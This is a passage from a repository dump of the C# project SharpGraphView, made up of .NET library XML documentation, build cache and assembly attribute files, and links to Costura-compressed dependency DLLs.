32 | 33 | 34 | Gets a shared instance. 35 | A shared instance. 36 | 37 | 38 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Memory.Data.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | System.Memory.Data 5 | 6 | 7 | 8 | 9 | A lightweight abstraction for a payload of bytes that supports converting between string, stream, JSON, and bytes. 10 | 11 | 12 | 13 | 14 | Creates a instance by wrapping the 15 | provided byte array. 16 | 17 | The array to wrap. 18 | 19 | 20 | 21 | Creates a instance by serializing the provided object to JSON 22 | using . 23 | 24 | 25 | The object that will be serialized to JSON using 26 | . 27 | The options to use when serializing to JSON. 28 | The type to use when serializing the data. If not specified, will 29 | be used to determine the type. 30 | 31 | 32 | 33 | Creates a instance by wrapping the 34 | provided bytes. 35 | 36 | Byte data to wrap. 37 | 38 | 39 | 40 | Creates a instance from a string by converting 41 | the string to bytes using the UTF-8 encoding. 42 | 43 | The string data. 44 | 45 | 46 | 47 | Creates a instance by wrapping the provided 48 | . 49 | 50 | Byte data to wrap. 51 | A wrapper over . 52 | 53 | 54 | 55 | Creates a instance by wrapping the provided 56 | byte array. 57 | 58 | The array to wrap. 59 | A wrapper over . 60 | 61 | 62 | 63 | Creates a instance from a string by converting 64 | the string to bytes using the UTF-8 encoding. 65 | 66 | The string data. 67 | A value representing the UTF-8 encoding of . 68 | 69 | 70 | 71 | Creates a instance from the specified stream. 72 | The stream is not disposed by this method. 73 | 74 | Stream containing the data. 75 | A value representing all of the data remaining in . 76 | 77 | 78 | 79 | Creates a instance from the specified stream. 80 | The stream is not disposed by this method. 81 | 82 | Stream containing the data. 83 | A token that may be used to cancel the operation. 84 | A value representing all of the data remaining in . 85 | 86 | 87 | 88 | Creates a instance by serializing the provided object using 89 | the . 90 | 91 | 92 | The type to use when serializing the data. 93 | The data to use. 94 | The options to use when serializing to JSON. 95 | 96 | A value representing the UTF-8 encoding of the JSON representation of . 97 | 98 | 99 | 100 | Converts the value of this instance to a string using UTF-8. 101 | 102 | 103 | A string from the value of this instance, using UTF-8 to decode the bytes. 104 | 105 | 106 | 107 | 108 | Converts the to a read-only stream. 109 | 110 | A stream representing the data. 111 | 112 | 113 | 114 | Gets the value of this instance as bytes without any further interpretation. 115 | 116 | The value of this instance as bytes without any further interpretation. 117 | 118 | 119 | 120 | Converts the to a byte array. 121 | 122 | A byte array representing the data. 123 | 124 | 125 | 126 | Converts the to the specified type using 127 | . 128 | 129 | The type that the data should be 130 | converted to. 131 | The to use when serializing to JSON. 132 | The data converted to the specified type. 133 | 134 | 135 | 136 | Defines an implicit conversion from a to a . 137 | 138 | The value to be converted. 139 | 140 | 141 | 142 | Defines an implicit conversion from a to a . 143 | 144 | The value to be converted. 145 | 146 | 147 | 148 | Determines whether the specified object is equal to the current object. 149 | 150 | The object to compare with the current object. 151 | 152 | if the specified object is equal to the current object; otherwise, . 153 | 154 | 155 | 156 | Serves as the default hash function.A hash code for the current object. 157 | 158 | 159 | Provides a for the contents of a . 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Memory.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | System.Memory 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Runtime.CompilerServices.Unsafe.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | System.Runtime.CompilerServices.Unsafe 5 | 6 | 7 | 8 | Contains generic, low-level functionality for manipulating pointers. 9 | 10 | 11 | Adds an element offset to the given reference. 12 | The reference to add the offset to. 13 | The offset to add. 14 | The type of reference. 15 | A new reference that reflects the addition of offset to pointer. 16 | 17 | 18 | Adds an element offset to the given reference. 19 | The reference to add the offset to. 20 | The offset to add. 21 | The type of reference. 22 | A new reference that reflects the addition of offset to pointer. 23 | 24 | 25 | Adds an element offset to the given reference. 26 | The reference to add the offset to. 27 | The offset to add. 28 | The type of reference. 29 | A new reference that reflects the addition of offset to pointer. 30 | 31 | 32 | Adds an element offset to the given void pointer. 33 | The void pointer to add the offset to. 34 | The offset to add. 35 | The type of void pointer. 36 | A new void pointer that reflects the addition of offset to the specified pointer. 37 | 38 | 39 | Adds a byte offset to the given reference. 40 | The reference to add the offset to. 41 | The offset to add. 42 | The type of reference. 43 | A new reference that reflects the addition of byte offset to pointer. 44 | 45 | 46 | Adds a byte offset to the given reference. 47 | The reference to add the offset to. 48 | The offset to add. 49 | The type of reference. 50 | A new reference that reflects the addition of byte offset to pointer. 51 | 52 | 53 | Determines whether the specified references point to the same location. 54 | The first reference to compare. 55 | The second reference to compare. 56 | The type of reference. 57 | 58 | if and point to the same location; otherwise, . 59 | 60 | 61 | Casts the given object to the specified type. 62 | The object to cast. 63 | The type which the object will be cast to. 64 | The original object, casted to the given type. 65 | 66 | 67 | Reinterprets the given reference as a reference to a value of type . 68 | The reference to reinterpret. 69 | The type of reference to reinterpret. 70 | The desired type of the reference. 71 | A reference to a value of type . 72 | 73 | 74 | Returns a pointer to the given by-ref parameter. 75 | The object whose pointer is obtained. 76 | The type of object. 77 | A pointer to the given value. 78 | 79 | 80 | Reinterprets the given read-only reference as a reference. 81 | The read-only reference to reinterpret. 82 | The type of reference. 83 | A reference to a value of type . 84 | 85 | 86 | Reinterprets the given location as a reference to a value of type . 87 | The location of the value to reference. 88 | The type of the interpreted location. 89 | A reference to a value of type . 90 | 91 | 92 | Determines the byte offset from origin to target from the given references. 93 | The reference to origin. 94 | The reference to target. 95 | The type of reference. 96 | Byte offset from origin to target i.e. - . 97 | 98 | 99 | Copies a value of type to the given location. 100 | The location to copy to. 101 | A pointer to the value to copy. 102 | The type of value to copy. 103 | 104 | 105 | Copies a value of type to the given location. 106 | The location to copy to. 107 | A reference to the value to copy. 108 | The type of value to copy. 109 | 110 | 111 | Copies bytes from the source address to the destination address. 112 | The destination address to copy to. 113 | The source address to copy from. 114 | The number of bytes to copy. 115 | 116 | 117 | Copies bytes from the source address to the destination address. 118 | The destination address to copy to. 119 | The source address to copy from. 120 | The number of bytes to copy. 121 | 122 | 123 | Copies bytes from the source address to the destination address without assuming architecture dependent alignment of the addresses. 124 | The destination address to copy to. 125 | The source address to copy from. 126 | The number of bytes to copy. 127 | 128 | 129 | Copies bytes from the source address to the destination address without assuming architecture dependent alignment of the addresses. 130 | The destination address to copy to. 131 | The source address to copy from. 132 | The number of bytes to copy. 133 | 134 | 135 | Initializes a block of memory at the given location with a given initial value. 136 | The address of the start of the memory block to initialize. 137 | The value to initialize the block to. 138 | The number of bytes to initialize. 139 | 140 | 141 | Initializes a block of memory at the given location with a given initial value. 142 | The address of the start of the memory block to initialize. 143 | The value to initialize the block to. 144 | The number of bytes to initialize. 145 | 146 | 147 | Initializes a block of memory at the given location with a given initial value without assuming architecture dependent alignment of the address. 148 | The address of the start of the memory block to initialize. 149 | The value to initialize the block to. 150 | The number of bytes to initialize. 151 | 152 | 153 | Initializes a block of memory at the given location with a given initial value without assuming architecture dependent alignment of the address. 154 | The address of the start of the memory block to initialize. 155 | The value to initialize the block to. 156 | The number of bytes to initialize. 157 | 158 | 159 | Returns a value that indicates whether a specified reference is greater than another specified reference. 160 | The first value to compare. 161 | The second value to compare. 162 | The type of the reference. 163 | 164 | if is greater than ; otherwise, . 165 | 166 | 167 | Returns a value that indicates whether a specified reference is less than another specified reference. 168 | The first value to compare. 169 | The second value to compare. 170 | The type of the reference. 171 | 172 | if is less than ; otherwise, . 173 | 174 | 175 | Determines if a given reference to a value of type is a null reference. 176 | The reference to check. 177 | The type of the reference. 178 | 179 | if is a null reference; otherwise, . 180 | 181 | 182 | Returns a reference to a value of type that is a null reference. 183 | The type of the reference. 184 | A reference to a value of type that is a null reference. 185 | 186 | 187 | Reads a value of type from the given location. 188 | The location to read from. 189 | The type to read. 190 | An object of type read from the given location. 191 | 192 | 193 | Reads a value of type from the given location without assuming architecture dependent alignment of the addresses. 194 | The location to read from. 195 | The type to read. 196 | An object of type read from the given location. 197 | 198 | 199 | Reads a value of type from the given location without assuming architecture dependent alignment of the addresses. 200 | The location to read from. 201 | The type to read. 202 | An object of type read from the given location. 203 | 204 | 205 | Returns the size of an object of the given type parameter. 206 | The type of object whose size is retrieved. 207 | The size of an object of type . 208 | 209 | 210 | Bypasses definite assignment rules for a given value. 211 | The uninitialized object. 212 | The type of the uninitialized object. 213 | 214 | 215 | Subtracts an element offset from the given reference. 216 | The reference to subtract the offset from. 217 | The offset to subtract. 218 | The type of reference. 219 | A new reference that reflects the subtraction of offset from pointer. 220 | 221 | 222 | Subtracts an element offset from the given reference. 223 | The reference to subtract the offset from. 224 | The offset to subtract. 225 | The type of reference. 226 | A new reference that reflects the subtraction of offset from pointer. 227 | 228 | 229 | Subtracts an element offset from the given reference. 230 | The reference to subtract the offset from. 231 | The offset to subtract. 232 | The type of reference. 233 | A new reference that reflects the subraction of offset from pointer. 234 | 235 | 236 | Subtracts an element offset from the given void pointer. 237 | The void pointer to subtract the offset from. 238 | The offset to subtract. 239 | The type of the void pointer. 240 | A new void pointer that reflects the subtraction of offset from the specified pointer. 241 | 242 | 243 | Subtracts a byte offset from the given reference. 244 | The reference to subtract the offset from. 245 | The offset to subtract. 246 | The type of reference. 247 | A new reference that reflects the subtraction of byte offset from pointer. 248 | 249 | 250 | Subtracts a byte offset from the given reference. 251 | The reference to subtract the offset from. 252 | The offset to subtract. 253 | The type of reference. 254 | A new reference that reflects the subraction of byte offset from pointer. 255 | 256 | 257 | Returns a to a boxed value. 258 | The value to unbox. 259 | The type to be unboxed. 260 | 261 | is , and is a non-nullable value type. 262 | 263 | is not a boxed value type. 264 | 265 | -or- 266 | 267 | is not a boxed . 268 | 269 | cannot be found. 270 | A to the boxed value . 271 | 272 | 273 | Writes a value of type to the given location. 274 | The location to write to. 275 | The value to write. 276 | The type of value to write. 277 | 278 | 279 | Writes a value of type to the given location without assuming architecture dependent alignment of the addresses. 280 | The location to write to. 281 | The value to write. 282 | The type of value to write. 283 | 284 | 285 | Writes a value of type to the given location without assuming architecture dependent alignment of the addresses. 286 | The location to write to. 287 | The value to write. 288 | The type of value to write. 289 | 290 | 291 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Security.Cryptography.ProtectedData.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | System.Security.Cryptography.ProtectedData 5 | 6 | 7 | 8 | Specifies the scope of the data protection to be applied by the method. 9 | 10 | 11 | The protected data is associated with the current user. Only threads running under the current user context can unprotect the data. 12 | 13 | 14 | The protected data is associated with the machine context. Any process running on the computer can unprotect data. This enumeration value is usually used in server-specific applications that run on a server where untrusted users are not allowed access. 15 | 16 | 17 | Provides methods for encrypting and decrypting data. This class cannot be inherited. 18 | 19 | 20 | Encrypts the data in a specified byte array and returns a byte array that contains the encrypted data. 21 | A byte array that contains data to encrypt. 22 | An optional additional byte array used to increase the complexity of the encryption, or for no additional complexity. 23 | One of the enumeration values that specifies the scope of encryption. 24 | A byte array representing the encrypted data. 25 | The parameter is . 26 | The encryption failed. 27 | The operating system does not support this method. 28 | The system ran out of memory while encrypting the data. 29 | .NET Core only: Calls to the Protect method are supported on Windows operating systems only. 30 | 31 | 32 | Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data. 33 | A byte array containing data encrypted using the method. 34 | An optional additional byte array that was used to encrypt the data, or if the additional byte array was not used. 35 | One of the enumeration values that specifies the scope of data protection that was used to encrypt the data. 36 | A byte array representing the decrypted data. 37 | The parameter is . 38 | The decryption failed. 39 | The operating system does not support this method. 40 | Out of memory. 41 | .NET Core only: Calls to the Unprotect method are supported on Windows operating systems only. 42 | 43 | 44 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Threading.Tasks.Extensions.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | System.Threading.Tasks.Extensions 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Provides a value type that wraps a and a TResult, only one of which is used. 23 | The result. 24 | 25 | 26 | Initializes a new instance of the class using the supplied task that represents the operation. 27 | The task. 28 | The task argument is null. 29 | 30 | 31 | Initializes a new instance of the class using the supplied result of a successful operation. 32 | The result. 33 | 34 | 35 | Retrieves a object that represents this . 36 | The object that is wrapped in this if one exists, or a new object that represents the result. 37 | 38 | 39 | Configures an awaiter for this value. 40 | true to attempt to marshal the continuation back to the captured context; otherwise, false. 41 | The configured awaiter. 42 | 43 | 44 | Creates a method builder for use with an async method. 45 | The created builder. 46 | 47 | 48 | Determines whether the specified object is equal to the current object. 49 | The object to compare with the current object. 50 | true if the specified object is equal to the current object; otherwise, false. 51 | 52 | 53 | Determines whether the specified object is equal to the current object. 54 | The object to compare with the current object. 55 | true if the specified object is equal to the current object; otherwise, false. 56 | 57 | 58 | Creates an awaiter for this value. 59 | The awaiter. 60 | 61 | 62 | Returns the hash code for this instance. 63 | The hash code for the current object. 64 | 65 | 66 | Gets a value that indicates whether this object represents a canceled operation. 67 | true if this object represents a canceled operation; otherwise, false. 68 | 69 | 70 | Gets a value that indicates whether this object represents a completed operation. 71 | true if this object represents a completed operation; otherwise, false. 72 | 73 | 74 | Gets a value that indicates whether this object represents a successfully completed operation. 75 | true if this object represents a successfully completed operation; otherwise, false. 76 | 77 | 78 | Gets a value that indicates whether this object represents a failed operation. 79 | true if this object represents a failed operation; otherwise, false. 80 | 81 | 82 | Compares two values for equality. 83 | The first value to compare. 84 | The second value to compare. 85 | true if the two values are equal; otherwise, false. 86 | 87 | 88 | Determines whether two values are unequal. 89 | The first value to compare. 90 | The seconed value to compare. 91 | true if the two values are not equal; otherwise, false. 92 | 93 | 94 | Gets the result. 95 | The result. 96 | 97 | 98 | Returns a string that represents the current object. 99 | A string that represents the current object. 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.ValueTuple.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | System.ValueTuple 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- 1 | .winmd.dll.exe DC:\Users\user0\source\repos\SharpGraphView\SharpGraphView\App.configIC:\Users\user0\source\repos\SharpGraphView\SharpGraphView\packages.configiC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\Microsoft.CSharp.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\mscorlib.dllhC:\Users\user0\source\repos\SharpGraphView\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dlldC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Core.dllvC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Data.DataSetExtensions.dlldC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Data.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.dllhC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Net.Http.dllcC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Xml.dllhC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Xml.Linq.dllUC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\Full{CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}D{Registry:Software\Microsoft\.NETFramework,v4.7.2,AssemblyFoldersEx} {RawFileName}DC:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Debug\D{Registry:Software\Microsoft\.NETFramework,v4.7.2,AssemblyFoldersEx}mC:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Debug\DesignTimeResolveAssemblyReferences.cacheUC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\Facades\.NETFramework,Version=v4.7.2.NET Framework 4.7.2v4.7.2msil 2 | v4.0.30319 -------------------------------------------------------------------------------- /SharpGraphView/obj/Debug/SharpGraphView.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Debug/SharpGraphView.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/0F467F9BB142FD6BB8D3008B313DF15254825B22.costura.microsoft.rest.clientruntime.azure.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/0F467F9BB142FD6BB8D3008B313DF15254825B22.costura.microsoft.rest.clientruntime.azure.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/17A49D2B673E1C9F1CF0416ACE86102AD97D0B93.costura.system.clientmodel.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/17A49D2B673E1C9F1CF0416ACE86102AD97D0B93.costura.system.clientmodel.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/180A7BAAFBC820A838BBACA434032D9D33CCEEBE.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/180A7BAAFBC820A838BBACA434032D9D33CCEEBE.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/18EA7BD41D31247148ABF184527C9368A26F39E7.costura.system.io.filesystem.accesscontrol.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/18EA7BD41D31247148ABF184527C9368A26F39E7.costura.system.io.filesystem.accesscontrol.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/1E76E6099570EDE620B76ED47CF8D03A936D49F8.costura.newtonsoft.json.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/1E76E6099570EDE620B76ED47CF8D03A936D49F8.costura.newtonsoft.json.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/28465FD34680A082506F160107F350B46140A1AA.costura.system.security.accesscontrol.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/28465FD34680A082506F160107F350B46140A1AA.costura.system.security.accesscontrol.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/2F410A0396BC148ED533AD49B6415FB58DD4D641.costura.system.buffers.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/2F410A0396BC148ED533AD49B6415FB58DD4D641.costura.system.buffers.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/39656DD256F63A30C5D92D222459DDCB9BD090B8.costura.microsoft.azure.keyvault.cryptography.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/39656DD256F63A30C5D92D222459DDCB9BD090B8.costura.microsoft.azure.keyvault.cryptography.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/3B34715164D27A039AC3E7966D4F7F1888098726.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/3B34715164D27A039AC3E7966D4F7F1888098726.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/3BB0525BE6130AAFA2A14A682809A83728C2BE0B.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/3BB0525BE6130AAFA2A14A682809A83728C2BE0B.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/3C5C5DF5F8F8DB3F0A35C5ED8D357313A54E3CDE.costura.system.memory.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/3C5C5DF5F8F8DB3F0A35C5ED8D357313A54E3CDE.costura.system.memory.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/3C8990726CDD9EC04AE001E32DE7B3D9DD7CA1AB.costura.system.management.automation.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/3C8990726CDD9EC04AE001E32DE7B3D9DD7CA1AB.costura.system.management.automation.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0.costura.system.numerics.vectors.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0.costura.system.numerics.vectors.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/4B0229A22589FE75D6C83724B77DE4024E25763D.costura.azure.identity.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/4B0229A22589FE75D6C83724B77DE4024E25763D.costura.azure.identity.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/5F49CE223A6FD3DE92B15808166DD2FADF42382B.costura.system.security.cryptography.protecteddata.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/5F49CE223A6FD3DE92B15808166DD2FADF42382B.costura.system.security.cryptography.protecteddata.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/6AFEA53A124309753508996A708FFDFE4A1EBF32.costura.microsoft.azure.keyvault.core.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/6AFEA53A124309753508996A708FFDFE4A1EBF32.costura.microsoft.azure.keyvault.core.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/7D8264BE4FCB17F81ACB8B1ADD980CD96A6FD856.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/7D8264BE4FCB17F81ACB8B1ADD980CD96A6FD856.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/8BEB16D082D7A1D2167AECA767AC4439B5807A01.costura.microsoft.identitymodel.abstractions.dll.compressed.compressed: -------------------------------------------------------------------------------- 